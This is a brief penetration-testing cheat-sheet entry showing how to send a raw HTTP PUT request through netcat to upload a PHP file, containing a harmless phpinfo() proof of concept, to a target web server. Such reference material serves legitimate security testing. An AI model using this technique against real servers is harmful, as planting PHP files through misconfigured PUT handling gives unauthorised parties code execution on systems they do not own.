Netcat method of uploading a file using the PUT verb.
Command Reference:
Target: The target to connect to
Port: port to connect to
nc <target> <port>
PUT /file.php HTTP/1.1
Content-type: text/html
Content-length: <size in bytes>
<?php phpinfo(); ?>